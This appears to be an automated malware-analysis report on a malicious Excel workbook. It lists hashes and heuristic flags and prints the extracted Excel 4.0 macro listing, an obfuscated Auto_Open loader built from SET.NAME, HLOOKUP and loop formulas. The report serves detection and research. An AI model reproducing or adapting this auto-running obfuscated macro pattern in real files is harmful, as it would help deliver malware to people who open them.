Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d3cc65e9e94d0207…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:40:27 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: 417a6966305aaace7ee4b93d6a7e7743 SHA-1: a0a93073af5ca568eae536d8630e70bc0ff808d4 SHA-256: d3cc65e9e94d0207b385e58c74d566996f6879f661db3255565ea89a138fabf1
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6665 bytes
SHA-256: 57de148b3462c5c71013d75722b510bc49b184f37c379923e9eebf17c54a584f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  MJWJ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H162 
' 0018     27 LABEL : Cell Value, String Constant - bjfdHPjrVAZD len=0 
' 0018     21 LABEL : Cell Value, String Constant - ciFMUu len=0 
' 0018     23 LABEL : Cell Value, String Constant - EvmGwPtr len=0 
' 0018     22 LABEL : Cell Value, String Constant - fbtuKgm len=0 
' 0018     27 LABEL : Cell Value, String Constant - FzZLRWgLrEWp len=0 
' 0018     27 LABEL : Cell Value, String Constant - ikWigrJRdXof len=0 
' 0018     25 LABEL : Cell Value, String Constant - ItUesSuHqa len=0 
' 0018     25 LABEL : Cell Value, String Constant - LRDxMhDwlg len=0 
' 0018     23 LABEL : Cell Value, String Constant - nzATiyJA len=0 
' 0018     20 LABEL : Cell Value, String Constant - QKpee len=0 
' 0018     25 LABEL : Cell Value, String Constant - QugPugrGqQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - tkLcQLbBEe len=0 
' 0018     25 LABEL : Cell Value, String Constant - trGWbKNjKy len=0 
' 0018     24 LABEL : Cell Value, String Constant - TXrwIljqO len=0 
' 0018     23 LABEL : Cell Value, String Constant - TzTANLhk len=0 
' 0018     24 LABEL : Cell Value, String Constant - VcGAZVKdN len=0 
' 0018     26 LABEL : Cell Value, String Constant - vHehfoEburi len=0 
' 0018     21 LABEL : Cell Value, String Constant - vzJlBe len=0 
' 0018     20 LABEL : Cell Value, String Constant - yHhXv len=0 
' 0018     27 LABEL : Cell Value, String Constant - YzUExxSKHwdR len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  MJWJ,H72,"SET.NAME("QKpee",0+VALUE("0"))",""
'  MJWJ,H76,"SET.NAME("bjfdHPjrVAZD",QKpee)",""
'  MJWJ,H80,"SET.NAME("ciFMUu",QKpee)",""
'  MJWJ,H82,"SET.NAME("FzZLRWgLrEWp",COUNTA(vHehfoEburi))",""
'  MJWJ,S84,"",-437.00000000000000000000
'  MJWJ,S85,"",445.00000000000000000000
'  MJWJ,S86,"",-211.00000000000000000000
'  MJWJ,H87,"SET.NAME("TXrwIljqO",COUNTA(TzTANLhk))",""
'  MJWJ,S87,"",-20.00000000000000000000
'  MJWJ,S88,"",-1.00000000000000000000
'  MJWJ,S89,"",282.00000000000000000000
'  MJWJ,H92,[],""
'  MJWJ,H94,"SET.NAME("ikWigrJRdXof","")",""
'  MJWJ,H98,"bjfdHPjrVAZD",""
'  MJWJ,H102,"SET.NAME("YzUExxSKHwdR",HLOOKUP("*",vHehfoEburi,bjfdHPjrVAZD,FALSE))",""
'  MJWJ,H107,"fbtuKgm",""
'  MJWJ,H111,"SET.NAME("VcGAZVKdN",QKpee)",""
'  MJWJ,H115,[],""
'  MJWJ,H120,"VcGAZVKdN",""
'  MJWJ,H122,"nzATiyJA",""
'  MJWJ,H125,"EvmGwPtr",""
'  MJWJ,H128,"yHhXv",""
'  MJWJ,H130,"SET.NAME("ItUesSuHqa",VALUE(HLOOKUP("*",TzTANLhk,yHhXv,FALSE)))",""
'  MJWJ,H135,"LRDxMhDwlg",""
'  MJWJ,H137,"ikWigrJRdXof",""
'  MJWJ,H140,"ciFMUu",""
'  MJWJ,H142,NEXT(),""
'  MJWJ,H144,"QugPugrGqQ",""
'  MJWJ,H149,[],""
'  MJWJ,H153,"trGWbKNjKy",""
'  MJWJ,H155,NEXT(),""
'  MJWJ,H158,RETURN(),""
'  MJWJ,H182,"SET.NAME("vzJlBe",H72)",""
'  MJWJ,H185,"vHehfoEburi",""
'  MJWJ,H190,"SET.NAME("TzTANLhk",R48C13)",""
'  MJWJ,H195,"SET.NAME("trGWbKNjKy",203)",""
'  MJWJ,H200,"SET.NAME("tkLcQLbBEe",8)",""
'  MJWJ,H202,vzJlBe(),""
'  MJWJ,H203,HALT(),""

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